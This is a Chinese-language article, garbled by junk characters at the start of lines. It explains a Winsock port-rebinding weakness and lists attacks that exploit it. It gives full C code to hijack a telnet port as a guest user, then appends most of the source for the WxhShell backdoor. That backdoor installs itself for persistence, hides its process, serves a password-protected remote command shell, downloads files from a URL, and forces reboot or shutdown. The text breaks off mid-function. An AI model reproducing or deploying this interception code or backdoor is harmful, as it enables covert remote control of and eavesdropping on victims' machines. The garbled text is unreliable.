在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lcuH]z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&**.naSo RQ_#rYmT saddr.sin_family = AF_INET;
~a0d.dU 06j)P6Iju saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Mz%d_ ]xVL11p bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
EHE6-^F @i1 .5z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-f
'q t 's5~ 这意味着什么?意味着可以进行如下的攻击:
/eI,]CB'z ]J0Y^dM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^O,6(@> xq#]n^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
E(L^hZMc
.*clY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
42H#n]Y -qr:c9\px 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'p{Y{
$Q oGU.U9~! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o 2$<>1^ hyr5D9d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_3-,3ia ~"hAb2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
hPX2 Bp J>&dWKM3 #include
'~!l(&X #include
+&@l{x(, #include
RM/ s: #include
xf3/<x!B DWORD WINAPI ClientThread(LPVOID lpParam);
jDkc~Wwa int main()
vzgudxG'z {
pQ6t]DJ4 WORD wVersionRequested;
PhaQ3% DWORD ret;
%%H. &*i, WSADATA wsaData;
itvy[b-* BOOL val;
ABS
BtH ? SOCKADDR_IN saddr;
Mz#S5 s SOCKADDR_IN scaddr;
o::ymAj int err;
z8rh*Rfxd SOCKET s;
A?<"^<A^ SOCKET sc;
gJ}'O4*b int caddsize;
;L/T}!Dx HANDLE mt;
m'vOFP)' DWORD tid;
I$sm5oL wVersionRequested = MAKEWORD( 2, 2 );
MYW 4@# err = WSAStartup( wVersionRequested, &wsaData );
OYCFx2{ if ( err != 0 ) {
,4?|}xg printf("error!WSAStartup failed!\n");
hJL0M! return -1;
u8)r
W }
;z=C^' saddr.sin_family = AF_INET;
:8/M6-EK 6!Ap;O^* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d+wNGN R;I-IZS: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$DMu~wwfG saddr.sin_port = htons(23);
l2_E6U" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5&7?0h+I {
RM=+ZmA printf("error!socket failed!\n");
xsypIbN return -1;
A_$Mt~qKi^ }
W,eKQV<j val = TRUE;
"{1} //SO_REUSEADDR选项就是可以实现端口重绑定的
*/@bNT9BgO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XVK[p=cIL {
c`[uQXv printf("error!setsockopt failed!\n");
!t
[%'!v return -1;
BsG[#4KM: }
KARQKFp!C> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
97=YFK~* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1Yx[,GyC>& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ry<}DK<u Ik2szXh[J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^i,0n}> {
F[qIfh4
ret=GetLastError();
YuZ
printf("error!bind failed!\n");
C{Xk/Er5< return -1;
?p\II7 }
nJ`a1L{N listen(s,2);
Yka yT0! while(1)
OKH~Y-%< {
/ o3FK caddsize = sizeof(scaddr);
y8 u)Q //接受连接请求
5~TA(cb5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N`^W*>XB if(sc!=INVALID_SOCKET)
KPvYq?F>4 {
_1bd)L&dF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m##z if(mt==NULL)
C=f(NpyD6 {
%b'VEd7 printf("Thread Creat Failed!\n");
wUPywV1UO break;
rnrx%Q }
[Z&s0f1Qb }
| gxB;
GG CloseHandle(mt);
LR?#H)$ }
wEn&zZjx closesocket(s);
ktJLpZ<0O WSACleanup();
wOl-iN= return 0;
h 7P?n.K }
+as\>"Cj+2 DWORD WINAPI ClientThread(LPVOID lpParam)
V$%Fs{ {
?;QKe0I^ SOCKET ss = (SOCKET)lpParam;
n`2"(7Wj SOCKET sc;
5/VB'N#7s unsigned char buf[4096];
:jp$X| SOCKADDR_IN saddr;
`v+O5 long num;
{Q3#]Vu DWORD val;
wAwH8x LU DWORD ret;
p{QKj3ov //如果是隐藏端口应用的话,可以在此处加一些判断
u>Kvub //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G
U/k^Qy saddr.sin_family = AF_INET;
Ji?UG@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4o8HEq! saddr.sin_port = htons(23);
Sgk{NM7|k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%R5MAs&-5 {
CUM~* printf("error!socket failed!\n");
DY27' `n6 return -1;
.VV!$;
FB }
-5B([jHgR val = 100;
43]&SXprH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oU6g5 {
K&oO+ G^f ret = GetLastError();
K%@SS8!oy return -1;
f3&//h8 }
.-*nD8b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^]K)V {
VL1z$<vVXt ret = GetLastError();
@"5u~o')@v return -1;
^IZ0M1&W; }
s8O+&^(U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WkmS
{
:Fk&2WsW: printf("error!socket connect failed!\n");
90I3_[Ii closesocket(sc);
yUlQPrNX closesocket(ss);
t`D@bzLC% return -1;
f}uCiV!?v }
Bnc while(1)
tHo/uW_~I {
c8W=Is` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;]ew>P) //如果是嗅探内容的话,可以再此处进行内容分析和记录
P"VLGa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4r!40^:2 num = recv(ss,buf,4096,0);
FNO
lR>0e if(num>0)
7q1l9:VYE send(sc,buf,num,0);
1T`"/*! else if(num==0)
q/zdd3a break;
1Tkdr2 num = recv(sc,buf,4096,0);
9_dsiM7CT if(num>0)
:CHd\."%+1 send(ss,buf,num,0);
lO@Ba;x else if(num==0)
NP/2gjp break;
51usiOq }
gQGiph | closesocket(ss);
eT?LMBn\ closesocket(sc);
+t6m>IBu return 0 ;
7K4%`O
}
hY'%SV
p h2snGN/{Hb t)+dW~g ==========================================================
40ZB;j$l c *no H[ 下边附上一个代码,,WXhSHELL
arrcHf4O !(o2K!v0 ==========================================================
D/>5\da+y JC3)G/m(03 #include "stdafx.h"
(q7mzZY v#G ^W #include <stdio.h>
$cCB%} #include <string.h>
q>Y[.c- #include <windows.h>
KfS^sT #include <winsock2.h>
} 4^UVdz #include <winsvc.h>
>{8H==P #include <urlmon.h>
6.=b^6MV 1j(,VW #pragma comment (lib, "Ws2_32.lib")
=jh:0Q<43+ #pragma comment (lib, "urlmon.lib")
zt6ep= aP gG+tu #define MAX_USER 100 // 最大客户端连接数
548BM^^"r #define BUF_SOCK 200 // sock buffer
W1(ziP'6 #define KEY_BUFF 255 // 输入 buffer
p:))ne:7 zvj\n9H #define REBOOT 0 // 重启
~VKXL,. #define SHUTDOWN 1 // 关机
$T0[ 0:p#%Nvg #define DEF_PORT 5000 // 监听端口
W=:+f)D } U.B$4Q #define REG_LEN 16 // 注册表键长度
tDVdl^# #define SVC_LEN 80 // NT服务名长度
Uk4">]oct RPQ)0.O7 // 从dll定义API
X'<xw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,j<"~"]
= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zq&lxySa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}% *g\%L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ckp=d @YELqUb* // wxhshell配置信息
UQ?8dw:E~ struct WSCFG {
T~E83Jw int ws_port; // 监听端口
`}l%Am char ws_passstr[REG_LEN]; // 口令
7\lb+^$ int ws_autoins; // 安装标记, 1=yes 0=no
.S;/v--F char ws_regname[REG_LEN]; // 注册表键名
4{pa`o3 char ws_svcname[REG_LEN]; // 服务名
8!fwXm char ws_svcdisp[SVC_LEN]; // 服务显示名
|Rc#Q<Vh| char ws_svcdesc[SVC_LEN]; // 服务描述信息
=G :H)i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
T~Cd=s(T" int ws_downexe; // 下载执行标记, 1=yes 0=no
1<UQJw45 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
o6oYJ`PY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P8f-&( mLSAi2Y };
We2=|AB ZWH`s // default Wxhshell configuration
|)?T([ struct WSCFG wscfg={DEF_PORT,
*yx:nwmo "xuhuanlingzhe",
FqfeH_-U 1,
Sz&`=x# "Wxhshell",
cA kw5}P "Wxhshell",
4(]k=c1< "WxhShell Service",
@U5o;X!qU "Wrsky Windows CmdShell Service",
hv6>3gbr "Please Input Your Password: ",
;a"Ukh 1,
YQOGxSi "
http://www.wrsky.com/wxhshell.exe",
T7`Jtqf "Wxhshell.exe"
v.MWO]L };
;Xns 9 tti.- // 消息定义模块
FgxQ}VvlH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0Qz
\"gr char *msg_ws_prompt="\n\r? for help\n\r#>";
v)06`G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
l3,|r QD char *msg_ws_ext="\n\rExit.";
x,+zw9 char *msg_ws_end="\n\rQuit.";
[@czvPi char *msg_ws_boot="\n\rReboot...";
AyUVsIuPT= char *msg_ws_poff="\n\rShutdown...";
>8Y >B) char *msg_ws_down="\n\rSave to ";
jiat5 NbdaP{{ char *msg_ws_err="\n\rErr!";
p|%)uA3'/ char *msg_ws_ok="\n\rOK!";
JT+P>\\];' /+iaw~={" char ExeFile[MAX_PATH];
5ym
=2U int nUser = 0;
UT -=5 HANDLE handles[MAX_USER];
=0Mmxd&o=M int OsIsNt;
%Vq@WF ofJ@\xS SERVICE_STATUS serviceStatus;
J7H1<\=cJb SERVICE_STATUS_HANDLE hServiceStatusHandle;
G+ToZ&f@ %PpB$ // 函数声明
E+gUzz5 int Install(void);
qlu yJpt int Uninstall(void);
#oaX<, int DownloadFile(char *sURL, SOCKET wsh);
7K~=Q Ec int Boot(int flag);
g?ft;kR6S void HideProc(void);
uv$y"1'g int GetOsVer(void);
(+@H !>r$$ int Wxhshell(SOCKET wsl);
4s~o
void TalkWithClient(void *cs);
01J.XfCd6 int CmdShell(SOCKET sock);
:3k(=^%G! int StartFromService(void);
JW$#~"@r int StartWxhshell(LPSTR lpCmdLine);
` WVQp"m R[b?kT-% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AbB%osz}Ed VOID WINAPI NTServiceHandler( DWORD fdwControl );
@m6E*2Gg +.=a
R<Q // 数据结构和表定义
\*7Tj-# SERVICE_TABLE_ENTRY DispatchTable[] =
Cpl\}Qn {
lH[N*9G( {wscfg.ws_svcname, NTServiceMain},
rfk';ph {NULL, NULL}
w*?JW };
F
1BPzRo` $ _zdjzT // 自我安装
wS4zAu int Install(void)
F=cO=5Iz {
MkQSq
MU= char svExeFile[MAX_PATH];
i<l)To - HKEY key;
+XsY*$O strcpy(svExeFile,ExeFile);
_.j KcDf %!@Dop/< // 如果是win9x系统,修改注册表设为自启动
;fuy}q8@7 if(!OsIsNt) {
hod|o1C& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#8'%CUF*<8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u{si RegCloseKey(key);
&{$\]sv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=T1i(M# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tw;`H( UZ^ RegCloseKey(key);
{2,V3*NF return 0;
^'}Td~( }
MSA*XDnN }
>y1/*)O9~ }
f@yST z;u else {
DpA)Z?? A&z // 如果是NT以上系统,安装为系统服务
t{$t3>p-t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hHdC/mR
if (schSCManager!=0)
yCwQ0| {
A2xORG&FD SC_HANDLE schService = CreateService
18Ty)7r' (
Es?~Dd schSCManager,
$Uzc wscfg.ws_svcname,
@r#> -p wscfg.ws_svcdisp,
Lm8cY SERVICE_ALL_ACCESS,
s3q65%D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)%*uMuF SERVICE_AUTO_START,
djk SERVICE_ERROR_NORMAL,
sYvO"| svExeFile,
J=()
A+ NULL,
uvT]MgT NULL,
`jP6;i NULL,
DJeG NULL,
L./UgeZ NULL
&cZD{Z );
]R0^
}sI if (schService!=0)
f F?=W {
ifuVV Fov CloseServiceHandle(schService);
8Y:bvs.j CloseServiceHandle(schSCManager);
C6GYhG] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!x>P]j7A}Y strcat(svExeFile,wscfg.ws_svcname);
+&|WC2# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0%vXPlfnY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$"sf%{~ RegCloseKey(key);
<jV_J+# return 0;
55Jk "V#8 }
Q|:\ }
WFtxEIrl3j CloseServiceHandle(schSCManager);
GX\/2P7CZ }
" 4s,a }
% nJ'r?+h 07CGHAxJ` return 1;
U:ZklDW }
++xEMP) KVJiCdg- // 自我卸载
9^`G `D int Uninstall(void)
D>05F,a {
P\SE_*& HKEY key;
1h|JKu0 8%Pjx7'< if(!OsIsNt) {
zL1H[}[z+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fY\QI
= RegDeleteValue(key,wscfg.ws_regname);
#qHo+M$" RegCloseKey(key);
*Bc=gl$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(G:$/fK RegDeleteValue(key,wscfg.ws_regname);
R:=i/P/ RegCloseKey(key);
X)`?P*[ return 0;
nsYS0 }
V+_L9 }
;[&g`%-H< }
a Z
^SK|E else {
WnA]gyc `XQM)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
74QWGw`, if (schSCManager!=0)
]ZZ7j {
JTrxh] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j&ddpS(s if (schService!=0)
4u A;--j {
g {wDI7"<q if(DeleteService(schService)!=0) {
$KKrl CloseServiceHandle(schService);
]x! vPIyq CloseServiceHandle(schSCManager);
5WY..60K, return 0;
A\gj\&B0" }
T5o9pmD CloseServiceHandle(schService);
R|`}z"4C }
#}l}1^$ CloseServiceHandle(schSCManager);
#BF(#1: }
+Nyx2(g<m }
PoQ@9
A WC0@g5;1[ return 1;
v$lP?\P;}X }
(V}DPA s+9q: // 从指定url下载文件
g;Bq#/w int DownloadFile(char *sURL, SOCKET wsh)
#NwlKZ- {
Sw>AgES HRESULT hr;
zAS&L%^ tV char seps[]= "/";
3%>"|Ye}A char *token;
^<7)w2ns char *file;
{ 6*h';~ char myURL[MAX_PATH];
%/jmQ6z^ char myFILE[MAX_PATH];
Fod2KS;g Jy{A1i@4~s strcpy(myURL,sURL);
>(p "! token=strtok(myURL,seps);
Lr_+)l while(token!=NULL)
@zW'!Ol {
qK#\k@E file=token;
,@8>=rT token=strtok(NULL,seps);
=2#
C{u. }
U5%EQc-"P lhKd<Y" GetCurrentDirectory(MAX_PATH,myFILE);
9["yL{IPe strcat(myFILE, "\\");
:^%My]>T strcat(myFILE, file);
0;
M+8 send(wsh,myFILE,strlen(myFILE),0);
!Tr +: SM send(wsh,"...",3,0);
'
w!o!_T6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o0_RU<bWN if(hr==S_OK)
b>Iqk return 0;
i` n,{{x&4 else
+kmPQdO;*/ return 1;
N_U Zu #Q"el3P+q }
bw ' yX /!ux P~2U // 系统电源模块
U_y)p Cd int Boot(int flag)
Atzp\oO {
dq[j.Nmq HANDLE hToken;
JY~s-jxa TOKEN_PRIVILEGES tkp;
/)e&4.6 x?VX,9;j if(OsIsNt) {
&S]\)&Yt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-6aGcPq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5a&[NN tkp.PrivilegeCount = 1;
fYl$$. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A!x_R {,yH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NyFa2Ihd if(flag==REBOOT) {
pg ;agtI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
S2@[F\|r return 0;
120<(# }
D9 OS,U/l else {
H_3S#. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[j`It4^nC return 0;
ZjF$zVk }
~ucOQVmz@ }
.yd{7Te else {
80x
%wCY` if(flag==REBOOT) {
3 8m5&5)1F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y, )'0O return 0;
}[SWt3qV1 }
%F` cNw] else {
/#GX4&z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
JnlM0jc]` return 0;
&>ii2% 4 }
!LVWggk1 }
P*BA
e%afK@c return 1;
tK`sVsm> }
D\jRF-z .R#p<"$I // win9x进程隐藏模块
j*Ta?'* void HideProc(void)
(dLt$<F {
c 5+oP j @(,k%84z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
hbD@B.PD if ( hKernel != NULL )
-SGR) {
HpC|dtro pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Ks(+['*S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
. Zrt/; FreeLibrary(hKernel);
dP=1* }
_>9|"seR DGz'Dn return;
,2qJXMg"=$ }
)O#]Wvr 4L 85~l // 获取操作系统版本
mVcpYyD|k int GetOsVer(void)
b'p bf {
RFU(wek OSVERSIONINFO winfo;
YR@@:n'TP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1Thr74M GetVersionEx(&winfo);
;EP 7q[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
EW%%W6O6 return 1;
s/Fc7V!; else
Z,M?!vK return 0;
;cH|9m:Y }
W/<]mm~95 iW(HOsA // 客户端句柄模块
sU^2I v\% int Wxhshell(SOCKET wsl)
M`*B/Fh2 {
N6S0(% SOCKET wsh;
s4<[f%^ struct sockaddr_in client;
9x0B9& DWORD myID;
(\{9W r /63 while(nUser<MAX_USER)
<*3{Twa1T {
MUh) int nSize=sizeof(client);
,B(UkPGT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/J]Yj, if(wsh==INVALID_SOCKET) return 1;
T;XEU%:LK @s}I_@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
OB)Vk if(handles[nUser]==0)
|\TOSaZ closesocket(wsh);
5"u-oE& else
1&\_|2 nUser++;
GNS5v-"H }
[u;]J* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
kj~)#KDN -==@7*x!Z return 0;
~
'
81 }
BG_m}3j ~aQ>DpSEf // 关闭 socket
6a[D]46y,2 void CloseIt(SOCKET wsh)
kSv?p1\@&P {
$qYtN`b, closesocket(wsh);
d/!sHr69 nUser--;
"IA[;+_" ExitThread(0);
T8h.!Vef }
C'4u+raq B$1nq#@ // 客户端请求句柄
1k6f|Al- void TalkWithClient(void *cs)
Wp/!; {
*[*LtyCQt4 pg1o@^OuL SOCKET wsh=(SOCKET)cs;
MNzq,/Wf char pwd[SVC_LEN];
Vy.A`Hz char cmd[KEY_BUFF];
gV1&b
(h char chr[1];
4-^|e int i,j;
.'mmn5E $)\%i = while (nUser < MAX_USER) {
vmK<_xbwd @+h2R if(wscfg.ws_passstr) {
5gARGA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4Z)`kS}=] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$6}siU7s4 //ZeroMemory(pwd,KEY_BUFF);
8+{WH/}y8 i=0;
}`{>]2 while(i<SVC_LEN) {
UeV2`zIg` D-\\L[ // 设置超时
0kS[`a(}J fd_set FdRead;
M;OY+|uA struct timeval TimeOut;
Vh$~]>t:f FD_ZERO(&FdRead);
:BKY#uH~ FD_SET(wsh,&FdRead);
+8Yt91 TimeOut.tv_sec=8;
;29q TimeOut.tv_usec=0;
!SEHDRp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$'btfo4H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
LbOjKM^- &>\E
>mJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x^^;/%p pwd
=chr[0]; O9wZx%<
if(chr[0]==0xd || chr[0]==0xa) { -U)6o"O_CV
pwd=0; aF2eGh
break; 1v!Xx+}
} +6@".<
i++; I~y[8
} 3C 84b/A
,uqSq
// 如果是非法用户,关闭 socket AX}l~
sv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zk=5uKcPE
} 9#{?*c6
p/>}{Q )Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wcUf?`21,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RKFj6u
mV^+`GWvo
while(1) { I$xfCu
G`!#k!&r
ZeroMemory(cmd,KEY_BUFF); jG)fM?
mj=$[y(
// 自动支持客户端 telnet标准 "]>JtK
j=0; 9Xo'U;J
while(j<KEY_BUFF) { g#ubxC7t<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^eQK.B(
cmd[j]=chr[0]; o7S,W?;=5
if(chr[0]==0xa || chr[0]==0xd) { <^6|ZgR
cmd[j]=0; %>`0hk88
break; YQe9g>G&
} Rd|};-
j++; jv<BGr=4;
} O&!>C7
S~0 mY}
m
// 下载文件 Ta`=c0
if(strstr(cmd,"http://")) { YbB8D-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J5h;~l!y
if(DownloadFile(cmd,wsh)) -twV?~f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU`#3}s
else SjV;&
1Z/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unKTa*U^q
} M%pxv6?""{
else { f?kA,!
_Z z"`
switch(cmd[0]) { Z12-Vps
Tu95qL~^
// 帮助 \72(d
case '?': { fvK):eCo
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?RJ
)u
break; pt<!b0G
} &Q
7Q1`S
// 安装 Cp=DdmR
case 'i': { >Pj ?IE6
if(Install()) v?BX 4FO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZf0q 2
else (@@t,\iF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S"0<`{Gv
break; 3<sYxA\?w
} pE<dK.v6
// 卸载 (b%&DyOt
case 'r': { 8sjAr.iT.
if(Uninstall()) F+
qRC_C>O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^^<6e
else V`qHNM/t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iV;X``S
break; 8gWifx
#N
} CIAHsbn.A
// 显示 wxhshell 所在路径 Lb;:<
case 'p': { SVWtKc<
char svExeFile[MAX_PATH]; 4%>iIPXi.(
strcpy(svExeFile,"\n\r"); d6,SZ*AE
strcat(svExeFile,ExeFile); .E}fk,hLB
send(wsh,svExeFile,strlen(svExeFile),0); k44sV.G4L
break; L;$Gn"7~
} xR
`4<
// 重启 ^[6eo8Ck>
case 'b': { gBb+Q,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3*C9;Q}
if(Boot(REBOOT)) c+$alwL~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xD+n2:I{
else { D]n9+!Ec1f
closesocket(wsh); GyQu?`
ExitThread(0); s)X'PJ0&Bs
} ``KimeA~
break; 'oSs5lW
} l2Z!;Wm(
// 关机 @)=\q`vV
case 'd': { $?RxmWsP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &6
.r=,BO
if(Boot(SHUTDOWN)) uz-O%R-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); veX#K#
else { :H($|$\h
closesocket(wsh); 7(c7-
ExitThread(0); >8h14uCk
} k+
[V%[U
break; %_Gc9SI
} 2k}~"!e1
// 获取shell yop,%Fe
case 's': { Ve\^(9n
CmdShell(wsh); 'jh9n7mH
closesocket(wsh); [~e{58}J|
ExitThread(0); xQ4 5B`$
break; '|
(#^jAj
} 8U}BSM_<2
// 退出 fui;F"+1
case 'x': { {jB& e,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ajB4Lj,:r
CloseIt(wsh); k\(LBZ"vR
break; 2;X{ZLo
} b.HfxYt(
// 离开 &("HH"!
case 'q': { D >ax<t1K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hw[(v[v
closesocket(wsh); t* eZe`|
WSACleanup(); rC
)pCC
exit(1); 2MS-e}mi
break; }!-BZIOlO
} V*]cF=W[A
} nGb%mlb
} Z,~Bz@5`"
x[XN;W&
// 提示信息 ,pfHNK-u
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6aC'\8{h
} s*%pNE U
} h\C" ti2
^f][;>c
return; kB~KC-&O
} 'u"r^o?
e<F>u#d
// shell模块句柄 i$`OOV=/e
int CmdShell(SOCKET sock) "eKNk
{ &oi*]:<FNe
STARTUPINFO si; J*V@huF
ZeroMemory(&si,sizeof(si)); Z*r;"WHB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q u>5 rg-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EPO*{bN7O
PROCESS_INFORMATION ProcessInfo; Tgxxm
char cmdline[]="cmd"; $'m&RzZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _g{*;?mS
return 0; VL6_in(
} lJZ-*"9V
7,vvL8\NHu
// 自身启动模式 >v1E;-ZA
int StartFromService(void) B_Qi
{ Tz/=\_}
typedef struct O [Q;[@
{ o0SQJ1.a$
DWORD ExitStatus; #Z%?lx"Q0
DWORD PebBaseAddress; M@)^*=0H
DWORD AffinityMask; [+7 Nu
DWORD BasePriority; _Nze="Pt
ULONG UniqueProcessId; H|Vq
ULONG InheritedFromUniqueProcessId; KBVW<;C$
